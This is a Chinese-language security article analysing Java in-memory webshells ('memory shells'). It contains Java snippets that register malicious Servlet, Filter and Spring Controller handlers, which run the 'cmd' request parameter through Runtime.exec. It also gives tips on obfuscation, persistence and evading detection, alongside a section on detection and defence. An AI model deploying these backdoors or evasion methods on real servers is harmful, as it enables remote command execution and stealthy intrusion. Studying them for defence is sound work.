记一次离谱的内存马 GetShell
字数 1120 2025-08-19 12:40:45
内存马 GetShell 攻击技术分析
一、内存马概述
内存马(Memory Shell)是一种驻留在内存中的后门技术,相比传统Webshell具有以下特点:
- 无文件落地,仅存在于内存中
- 难以被传统安全设备检测
- 重启后失效(非持久化)
- 通常通过漏洞利用或特殊API注入
二、攻击流程分析
1. 漏洞利用入口
攻击通常始于以下入口之一:
- 反序列化漏洞(如Fastjson、Jackson)
- 文件上传漏洞(绕过检查上传恶意类)
- 框架特定漏洞(如Spring Cloud Gateway RCE)
2. 内存马注入技术
2.1 Servlet API 型内存马
// 获取当前Context
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 获取StandardContext
Field contextField = context.getClass().getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)contextField.get(context);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
// 创建恶意Servlet
Servlet servlet = new Servlet() {
@Override
public void service(ServletRequest req, ServletResponse res) {
// 恶意代码
String cmd = req.getParameter("cmd");
if(cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch(Exception e) {}
}
}
// 其他必要方法实现...
};
// 注册Servlet
Wrapper wrapper = standardContext.createWrapper();
wrapper.setServlet(servlet);
wrapper.setName("evilServlet");
standardContext.addChild(wrapper);
// 添加URL映射
standardContext.addServletMappingDecoded("/evil", "evilServlet");
2.2 Filter 型内存马
// 创建恶意Filter
Filter filter = new Filter() {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {
String cmd = request.getParameter("cmd");
if(cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch(Exception e) {}
}
chain.doFilter(request, response);
}
// 其他必要方法实现...
};
// 动态注册Filter
Dynamic addedFilter = servletContext.addFilter("evilFilter", filter);
addedFilter.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, "/*");
2.3 Controller 型内存马(Spring框架)
// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping handlerMapping = applicationContext.getBean(RequestMappingHandlerMapping.class);
// 创建恶意处理器
Method method = this.getClass().getMethod("evilMethod", String.class);
RequestMappingInfo mappingInfo = RequestMappingInfo
.paths("/evil")
.methods(RequestMethod.GET)
.build();
// 注册控制器
handlerMapping.registerMapping(
mappingInfo,
this,
method
);
// 恶意方法
public void evilMethod(@RequestParam String cmd) throws Exception {
Runtime.getRuntime().exec(cmd);
}
3. 隐蔽技术
- 随机路径:使用UUID生成动态URL
- 编码混淆:Base64、Hex等编码关键字符串
- 反射调用:避免直接调用敏感API
- 内存清理:注入后删除临时类/对象引用
三、工具与利用
1. JavaExploit 工具关键功能
- 自动化漏洞检测
- 多类型内存马生成(Servlet/Filter/Controller)
- 反序列化Gadget集成
- 动态类加载支持
2. 手工利用步骤
- 确认目标框架/中间件版本
- 选择合适的漏洞利用方式
- 构造恶意类字节码
- 通过ClassLoader动态加载
- 注入内存马
- 测试后门访问
四、防御措施
1. 检测方法
- 内存扫描:使用Java Agent技术检测异常类/方法
- 行为监控:
- 异常的URL映射添加
- 动态类加载行为
- 反射调用敏感API
- 流量分析:
- 异常的HTTP参数(如cmd、exec等)
- 非常规URL访问模式
2. 防护方案
- 输入验证:严格过滤反序列化数据
- 权限控制:限制动态类加载能力
- 运行时保护:
- 禁用危险的反射调用
- 监控Servlet/Filter动态注册
- 补丁管理:及时更新框架/中间件
五、高级技巧
1. 持久化技术
- 利用Tomcat的
ServletContainerInitializer - 修改
web.xml内存结构 - 注入到共享类加载器
2. 绕过检测
- 使用合法类名伪装
- 延迟加载技术
- 基于JNDI的动态解析
3. 跨环境适配
- 针对不同Web容器(Tomcat/Jetty/Undertow)的适配
- Spring Boot/Cloud特殊处理
- 云原生环境下的注入方式
六、参考工具
- JavaExploit:集成化漏洞利用框架
- MemShellScanner:内存马检测工具
- Arthas:Java诊断工具可用于检测异常类
- RASP:运行时应用自我保护方案
注:本文仅供安全研究学习使用,请勿用于非法用途。